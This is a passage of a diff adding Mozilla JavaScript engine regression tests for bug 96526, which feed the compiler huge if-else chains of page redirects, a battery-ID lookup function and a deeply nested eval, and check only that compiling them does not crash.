+ else if (jumpto == [317]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nyrobbartley.jpg";
+ else if (jumpto == [318]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nyrobertkosty.jpg";
+ else if (jumpto == [319]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nystephenbagnato.jpg";
+ else if (jumpto == [320]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nystevegiamundo.jpg";
+ else if (jumpto == [321]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nystevekelly.jpg";
+ else if (jumpto == [322]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nywayneadelkoph.jpg";
+ else if (jumpto == [323]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohbriannimmo.jpg";
+ else if (jumpto == [324]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohdavehyman.jpg";
+ else if (jumpto == [325]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohdavidconant.jpg";
+ else if (jumpto == [326]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohdennismantovani.jpg";
+ else if (jumpto == [327]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohgrahambennett.jpg";
+ else if (jumpto == [328]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohgregbrunk.jpg";
+ else if (jumpto == [329]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohgregfilbrun.jpg";
+ else if (jumpto == [330]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohjimreutener.jpg";
+ else if (jumpto == [331]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohjimrike.jpg";
+ else if (jumpto == [332]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohkeithsparks.jpg";
+ else if (jumpto == [333]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohkevindrinan.jpg";
+ else if (jumpto == [334]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohmichaelhaines.jpg";
+ else if (jumpto == [335]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohmichaelsteele.jpg";
+ else if (jumpto == [336]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohpatrickguanciale.jpg";
+ else if (jumpto == [337]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohscottkelly.jpg";
+ else if (jumpto == [338]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohscottthomas.jpg";
+ else if (jumpto == [339]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohstevetuckerman.jpg";
+ else if (jumpto == [340]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohtedfigurski.jpg";
+ else if (jumpto == [341]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohterrydonald.jpg";
+ else if (jumpto == [342]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohtimokeefe.jpg";
+ else if (jumpto == [343]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohtomhaydock.jpg";
+ else if (jumpto == [344]) window.location = "http://www.newyankee.com/GetYankees2.cgi?okbillsneller.jpg";
+ else if (jumpto == [345]) window.location = "http://www.newyankee.com/GetYankees2.cgi?okbobbulick.jpg";
+ else if (jumpto == [346]) window.location = "http://www.newyankee.com/GetYankees2.cgi?okdaryljones.jpg";
+ else if (jumpto == [347]) window.location = "http://www.newyankee.com/GetYankees2.cgi?okstevetarchek.jpg";
+ else if (jumpto == [348]) window.location = "http://www.newyankee.com/GetYankees2.cgi?okwoodymcelroy.jpg";
+ else if (jumpto == [349]) window.location = "http://www.newyankee.com/GetYankees2.cgi?orcoryeells.jpg";
+ else if (jumpto == [350]) window.location = "http://www.newyankee.com/GetYankees2.cgi?oredcavasso.jpg";
+ else if (jumpto == [351]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ormarkmcculley.jpg";
+ else if (jumpto == [352]) window.location = "http://www.newyankee.com/GetYankees2.cgi?orstevekarthauser.jpg";
+ else if (jumpto == [353]) window.location = "http://www.newyankee.com/GetYankees2.cgi?paalanpalmieri.jpg";
+ else if (jumpto == [354]) window.location = "http://www.newyankee.com/GetYankees2.cgi?pachriscarr.jpg";
+ else if (jumpto == [355]) window.location = "http://www.newyankee.com/GetYankees2.cgi?padansigg.jpg";
+ else if (jumpto == [356]) window.location = "http://www.newyankee.com/GetYankees2.cgi?padavecalabretta.jpg";
+ else if (jumpto == [357]) window.location = "http://www.newyankee.com/GetYankees2.cgi?padennishoffman.jpg";
+ else if (jumpto == [358]) window.location = "http://www.newyankee.com/GetYankees2.cgi?pafrankschlipf.jpg";
+ else if (jumpto == [359]) window.location = "http://www.newyankee.com/GetYankees2.cgi?pajamesevanson.jpg";
+ else if (jumpto == [360]) window.location = "http://www.newyankee.com/GetYankees2.cgi?pajoekrol.jpg";
+ else if (jumpto == [361]) window.location = "http://www.newyankee.com/GetYankees2.cgi?pakatecrimmins.jpg";
+ else if (jumpto == [362]) window.location = "http://www.newyankee.com/GetYankees2.cgi?pamarshallkrebs.jpg";
+ else if (jumpto == [363]) window.location = "http://www.newyankee.com/GetYankees2.cgi?pascottsheaffer.jpg";
+ else if (jumpto == [364]) window.location = "http://www.newyankee.com/GetYankees2.cgi?paterrycrippen.jpg";
+ else if (jumpto == [365]) window.location = "http://www.newyankee.com/GetYankees2.cgi?patjpera.jpg";
+ else if (jumpto == [366]) window.location = "http://www.newyankee.com/GetYankees2.cgi?patoddpatterson.jpg";
+ else if (jumpto == [367]) window.location = "http://www.newyankee.com/GetYankees2.cgi?patomrehm.jpg";
+ else if (jumpto == [368]) window.location = "http://www.newyankee.com/GetYankees2.cgi?pavicschreck.jpg";
+ else if (jumpto == [369]) window.location = "http://www.newyankee.com/GetYankees2.cgi?pawilliamhowen.jpg";
+ else if (jumpto == [370]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ricarlruggieri.jpg";
+ else if (jumpto == [371]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ripetermccrea.jpg";
+ else if (jumpto == [372]) window.location = "http://www.newyankee.com/GetYankees2.cgi?scbillmovius.jpg";
+ else if (jumpto == [373]) window.location = "http://www.newyankee.com/GetYankees2.cgi?scbryanrackley.jpg";
+ else if (jumpto == [374]) window.location = "http://www.newyankee.com/GetYankees2.cgi?scchrisgoodman.jpg";
+ else if (jumpto == [375]) window.location = "http://www.newyankee.com/GetYankees2.cgi?scdarrellmunn.jpg";
+ else if (jumpto == [376]) window.location = "http://www.newyankee.com/GetYankees2.cgi?scdonsandusky.jpg";
+ else if (jumpto == [377]) window.location = "http://www.newyankee.com/GetYankees2.cgi?scscotalexander.jpg";
+ else if (jumpto == [378]) window.location = "http://www.newyankee.com/GetYankees2.cgi?sctimbajuscik.jpg";
+ else if (jumpto == [379]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ststuartcoltart.jpg";
+ else if (jumpto == [380]) window.location = "http://www.newyankee.com/GetYankees2.cgi?tnbilobautista.jpg";
+ else if (jumpto == [381]) window.location = "http://www.newyankee.com/GetYankees2.cgi?tnbrucebowman.jpg";
+ else if (jumpto == [382]) window.location = "http://www.newyankee.com/GetYankees2.cgi?tndavidchipman.jpg";
+ else if (jumpto == [383]) window.location = "http://www.newyankee.com/GetYankees2.cgi?tndavidcizunas.jpg";
+ else if (jumpto == [384]) window.location = "http://www.newyankee.com/GetYankees2.cgi?tndavidreed.jpg";
+ else if (jumpto == [385]) window.location = "http://www.newyankee.com/GetYankees2.cgi?tnhankdunkin.jpg";
+ else if (jumpto == [386]) window.location = "http://www.newyankee.com/GetYankees2.cgi?tnkenwetherington.jpg";
+ else if (jumpto == [387]) window.location = "http://www.newyankee.com/GetYankees2.cgi?tnrickgodboldt.jpg";
+ else if (jumpto == [388]) window.location = "http://www.newyankee.com/GetYankees2.cgi?tnroyowen.jpg";
+ else if (jumpto == [389]) window.location = "http://www.newyankee.com/GetYankees2.cgi?tnsteve.jpg";
+ else if (jumpto == [390]) window.location = "http://www.newyankee.com/GetYankees2.cgi?tntommymercks.jpg";
+ else if (jumpto == [391]) window.location = "http://www.newyankee.com/GetYankees2.cgi?tnwarrenmonroe.jpg";
+ else if (jumpto == [392]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txbillvanpelt.jpg";
+ else if (jumpto == [393]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txcarolynmoncivais.jpg";
+ else if (jumpto == [394]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txchucksteding.jpg";
+ else if (jumpto == [395]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txclintlafont.jpg";
+ else if (jumpto == [396]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txcurthackett.jpg";
+ else if (jumpto == [397]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txdavidmcneill.jpg";
+ else if (jumpto == [398]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txdonowen.jpg";
+ else if (jumpto == [399]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txfrankcox.jpg";
+ else if (jumpto == [400]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txglenbang.jpg";
+ else if (jumpto == [401]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txhowardlaunius.jpg";
+ else if (jumpto == [402]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txjamienorwood.jpg";
+ else if (jumpto == [403]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txjimmarkle.jpg";
+ else if (jumpto == [404]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txjimmcnamara.jpg";
+ else if (jumpto == [405]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txjoelgulker.jpg";
+ else if (jumpto == [406]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txjoeveillon.jpg";
+ else if (jumpto == [407]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txjohnburns.jpg";
+ else if (jumpto == [408]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txkeithmartin.jpg";
+ else if (jumpto == [409]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txkennymiller.jpg";
+ else if (jumpto == [410]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txkirkconstable.jpg";
+ else if (jumpto == [411]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txkylekelley.jpg";
+ else if (jumpto == [412]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txlesjones.jpg";
+ else if (jumpto == [413]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txlynnlacey.jpg";
+ else if (jumpto == [414]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txmarksimmons.jpg";
+ else if (jumpto == [415]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txmauriceharris.jpg";
+ else if (jumpto == [416]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txmichaelbrown.jpg";
+ else if (jumpto == [417]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txrichardthomas.jpg";
+ else if (jumpto == [418]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txrickent.jpg";
+ else if (jumpto == [419]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txtomlovelace.jpg";
+ else if (jumpto == [420]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txvareckwalla.jpg";
+ else if (jumpto == [421]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ukbrianstainton.jpg";
+ else if (jumpto == [422]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ukdavegrimwood.jpg";
+ else if (jumpto == [423]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ukdavidevans.jpg";
+ else if (jumpto == [424]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ukgeoffbogg.jpg";
+ else if (jumpto == [425]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ukgordondale.jpg";
+ else if (jumpto == [426]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ukharborne.jpg";
+ else if (jumpto == [427]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ukjamesobrian.jpg";
+ else if (jumpto == [428]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ukjeffjones.jpg";
+ else if (jumpto == [429]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ukjohnworthington.jpg";
+ else if (jumpto == [430]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ukkeithrobinson.jpg";
+ else if (jumpto == [431]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ukkoojanzen.jpg";
+ else if (jumpto == [432]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ukleewebster.jpg";
+ else if (jumpto == [433]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ukpaultebbutt.jpg";
+ else if (jumpto == [434]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ukriaanstrydom.jpg";
+ else if (jumpto == [435]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ukrickdare.jpg";
+ else if (jumpto == [436]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ukterrychadwick.jpg";
+ else if (jumpto == [437]) window.location = "http://www.newyankee.com/GetYankees2.cgi?utbobcanestrini.jpg";
+ else if (jumpto == [438]) window.location = "http://www.newyankee.com/GetYankees2.cgi?utdonthornock.jpg";
+ else if (jumpto == [439]) window.location = "http://www.newyankee.com/GetYankees2.cgi?vaartgreen.jpg";
+ else if (jumpto == [440]) window.location = "http://www.newyankee.com/GetYankees2.cgi?vabobheller.jpg";
+ else if (jumpto == [441]) window.location = "http://www.newyankee.com/GetYankees2.cgi?vaclintadkins.jpg";
+ else if (jumpto == [442]) window.location = "http://www.newyankee.com/GetYankees2.cgi?vadanieltepe.jpg";
+ else if (jumpto == [443]) window.location = "http://www.newyankee.com/GetYankees2.cgi?vadanmeier.jpg";
+ else if (jumpto == [444]) window.location = "http://www.newyankee.com/GetYankees2.cgi?vadavidminnix.jpg";
+ else if (jumpto == [445]) window.location = "http://www.newyankee.com/GetYankees2.cgi?vadavidyoho.jpg";
+ else if (jumpto == [446]) window.location = "http://www.newyankee.com/GetYankees2.cgi?vadickthornsberry.jpg";
+ else if (jumpto == [447]) window.location = "http://www.newyankee.com/GetYankees2.cgi?vamarksimonds.jpg";
+ else if (jumpto == [448]) window.location = "http://www.newyankee.com/GetYankees2.cgi?vamichaelkoch.jpg";
+ else if (jumpto == [449]) window.location = "http://www.newyankee.com/GetYankees2.cgi?vamikeperozziello.jpg";
+ else if (jumpto == [450]) window.location = "http://www.newyankee.com/GetYankees2.cgi?vamikepingrey.jpg";
+ else if (jumpto == [451]) window.location = "http://www.newyankee.com/GetYankees2.cgi?vapatrickkearney.jpg";
+ else if (jumpto == [452]) window.location = "http://www.newyankee.com/GetYankees2.cgi?vapaulstreet.jpg";
+ else if (jumpto == [453]) window.location = "http://www.newyankee.com/GetYankees2.cgi?vatonydemasi.jpg";
+ else if (jumpto == [454]) window.location = "http://www.newyankee.com/GetYankees2.cgi?vatroylong.jpg";
+ else if (jumpto == [455]) window.location = "http://www.newyankee.com/GetYankees2.cgi?vatroylong2.jpg";
+ else if (jumpto == [456]) window.location = "http://www.newyankee.com/GetYankees2.cgi?vaweslyon.jpg";
+ else if (jumpto == [457]) window.location = "http://www.newyankee.com/GetYankees2.cgi?wabryanthomas.jpg";
+ else if (jumpto == [458]) window.location = "http://www.newyankee.com/GetYankees2.cgi?wageorgebryan.jpg";
+ else if (jumpto == [459]) window.location = "http://www.newyankee.com/GetYankees2.cgi?waglennpiersall.jpg";
+ else if (jumpto == [460]) window.location = "http://www.newyankee.com/GetYankees2.cgi?wajoewanjohi.jpg";
+ else if (jumpto == [461]) window.location = "http://www.newyankee.com/GetYankees2.cgi?wajohndrapala.jpg";
+ else if (jumpto == [462]) window.location = "http://www.newyankee.com/GetYankees2.cgi?wajohnfernstrom.jpg";
+ else if (jumpto == [463]) window.location = "http://www.newyankee.com/GetYankees2.cgi?wajohnmickelson.jpg";
+ else if (jumpto == [464]) window.location = "http://www.newyankee.com/GetYankees2.cgi?wakeithjohnson.jpg";
+ else if (jumpto == [465]) window.location = "http://www.newyankee.com/GetYankees2.cgi?wamarkdenman.jpg";
+ else if (jumpto == [466]) window.location = "http://www.newyankee.com/GetYankees2.cgi?wamiketaylor.jpg";
+ else if (jumpto == [467]) window.location = "http://www.newyankee.com/GetYankees2.cgi?wascottboyd.jpg";
+ else if (jumpto == [468]) window.location = "http://www.newyankee.com/GetYankees2.cgi?wibryanschappel.jpg";
+ else if (jumpto == [469]) window.location = "http://www.newyankee.com/GetYankees2.cgi?widenniszuber.jpg";
+ else if (jumpto == [470]) window.location = "http://www.newyankee.com/GetYankees2.cgi?wigeorgebregar.jpg";
+ else if (jumpto == [471]) window.location = "http://www.newyankee.com/GetYankees2.cgi?wikevinwarren.jpg";
+ else if (jumpto == [472]) window.location = "http://www.newyankee.com/GetYankees2.cgi?wirichorde.jpg";
+ else if (jumpto == [473]) window.location = "http://www.newyankee.com/GetYankees2.cgi?wistevenricks.jpg";
+ else if (jumpto == [474]) window.location = "http://www.newyankee.com/GetYankees2.cgi?wiweswolfrom.jpg";
+ else if (jumpto == [475]) window.location = "http://www.newyankee.com/GetYankees2.cgi?wvdannorby.jpg";
+}
+
+reportCompare('No Crash', 'No Crash', '');
diff --git a/js/src/tests/js1_5/Regress/regress-96526-002.js b/js/src/tests/js1_5/Regress/regress-96526-002.js
new file mode 100644
index 000000000..9242f386a
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-96526-002.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 04 Sep 2002
+ * SUMMARY: Just seeing that we don't crash when compiling this script -
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=96526
+ *
+ */
+//-----------------------------------------------------------------------------
+printBugNumber(96526);
+printStatus("Just seeing that we don't crash when compiling this script -");
+
+
+/*
+ * Tail recursion test by Georgi Guninski
+ */
+a="[\"b\"]";
+s="g";
+for(i=0;i<20000;i++)
+ s += a;
+try {eval(s);}
+catch (e) {};
+
+reportCompare('No Crash', 'No Crash', '');
diff --git a/js/src/tests/js1_5/Regress/regress-96526-003.js b/js/src/tests/js1_5/Regress/regress-96526-003.js
new file mode 100644
index 000000000..8c4adabd3
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-96526-003.js
@@ -0,0 +1,4404 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 04 Sep 2002
+ * SUMMARY: Just seeing that we don't crash when compiling this script -
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=96526
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=133897
+ */
+//-----------------------------------------------------------------------------
+printBugNumber(96526);
+printStatus("Just seeing that we don't crash when compiling this script -");
+
+
+/*
+ * This function comes from http://bugzilla.mozilla.org/show_bug.cgi?id=133897
+ */
+function validId(IDtext)
+{
+ var res = "";
+
+ if(IDText.value==""){
+ print("You must enter a valid battery #")
+ return false
+ }
+ else if(IDText.value=="x522"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer_e2/energizer2.htm"
+ return true
+ }
+ else if(IDText.value=="x91"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer_e2/energizer2.htm"
+ return true
+ }
+ else if(IDText.value=="x92"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer_e2/energizer2.htm"
+ return true
+ }
+ else if(IDText.value=="x93"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer_e2/energizer2.htm"
+ return true
+ }
+ else if(IDText.value=="x95"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer_e2/energizer2.htm"
+ return true
+ }
+ else if(IDText.value=="521"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_consumeroem.htm"
+ return true
+ }
+ else if(IDText.value=="522"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_consumeroem.htm"
+ return true
+ }
+ else if(IDText.value=="528"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_consumeroem.htm"
+ return true
+ }
+ else if(IDText.value=="529"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_consumeroem.htm"
+ return true
+ }
+ else if(IDText.value=="539"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_consumeroem.htm"
+ return true
+ }
+ else if(IDText.value=="e90"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_consumeroem.htm"
+ return true
+ }
+ else if(IDText.value=="e91"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_consumeroem.htm"
+ return true
+ }
+ else if(IDText.value=="e92"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_consumeroem.htm"
+ return true
+ }
+ else if(IDText.value=="e93"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_consumeroem.htm"
+ return true
+ }
+ else if(IDText.value=="e95"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_consumeroem.htm"
+ return true
+ }
+ else if(IDText.value=="e96"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer_e2/energizer2.htm"
+ return true
+ }
+ else if(IDText.value=="en6"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_industrial.htm"
+ return true
+ }
+ else if(IDText.value=="en22"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_industrial.htm"
+ return true
+ }
+ else if(IDText.value=="en90"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_industrial.htm"
+ return true
+ }
+ else if(IDText.value=="en91"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_industrial.htm"
+ return true
+ }
+ else if(IDText.value=="en92"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_industrial.htm"
+ return true
+ }
+ else if(IDText.value=="en93"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_industrial.htm"
+ return true
+ }
+ else if(IDText.value=="en95"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_industrial.htm"
+ return true
+ }
+ else if(IDText.value=="en529"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_industrial.htm"
+ return true
+ }
+ else if(IDText.value=="en539"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_industrial.htm"
+ return true
+ }
+ else if(IDText.value=="en715"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_industrial.htm"
+ return true
+ }
+ else if(IDText.value=="edl4a"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_industrial.htm"
+ return true
+ }
+ else if(IDText.value=="edl4as"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_industrial.htm"
+ return true
+ }
+ else if(IDText.value=="edl4ac"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_industrial.htm"
+ return true
+ }
+ else if(IDText.value=="edl6a"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_industrial.htm"
+ return true
+ }
+ else if(IDText.value=="3-0316"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+ else if(IDText.value=="3-0316i"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+ else if(IDText.value=="3-00411"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+ else if(IDText.value=="3-0411i"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+
+ else if(IDText.value=="3-312"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+ else if(IDText.value=="3-312i"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+
+ else if(IDText.value=="3-315"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+
+ else if(IDText.value=="3-315i"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+
+ else if(IDText.value=="3-315innc"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+
+ else if(IDText.value=="3-315iwc"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+
+ else if(IDText.value=="3-315wc"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+
+ else if(IDText.value=="3-335"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+
+ else if(IDText.value=="3-335i"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+
+ else if(IDText.value=="3-335wc"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+
+ else if(IDText.value=="3-335nnci"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+
+ else if(IDText.value=="3-350"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+
+ else if(IDText.value=="3-350i"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+
+ else if(IDText.value=="3-3501wc"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+
+ else if(IDText.value=="3-350wc"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+
+ else if(IDText.value=="3-350nnci"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+
+ else if(IDText.value=="3-361"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+
+ else if(IDText.value=="3-361i"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+
+ else if(IDText.value=="a522"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/eveready/value.htm"
+ return true
+ }
+ else if(IDText.value=="a91"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/eveready/value.htm"
+ return true
+ }
+ else if(IDText.value=="a92"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/eveready/value.htm"
+ return true
+ }
+ else if(IDText.value=="a93"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/eveready/value.htm"
+ return true
+ }
+ else if(IDText.value=="a95"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/eveready/value.htm"
+ return true
+ }
+
+ else if(IDText.value=="510s"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_consumeroem.htm"
+ return true
+ }
+
+ else if(IDText.value=="1209"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_consumeroem.htm"
+ return true
+ }
+
+ else if(IDText.value=="1212"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_consumeroem.htm"
+ return true
+ }
+
+ else if(IDText.value=="1215"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_consumeroem.htm"
+ return true
+ }
+
+ else if(IDText.value=="1222"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_consumeroem.htm"
+ return true
+ }
+
+ else if(IDText.value=="1235"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_consumeroem.htm"
+ return true
+ }
+
+ else if(IDText.value=="1250"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_consumeroem.htm"
+ return true
+ }
+ else if(IDText.value=="206"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="246"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/carbon_zinc/carbon_zinc_industrial.htm"
+ return true
+ }
+
+ else if(IDText.value=="266"){
+ //Checks for id entry
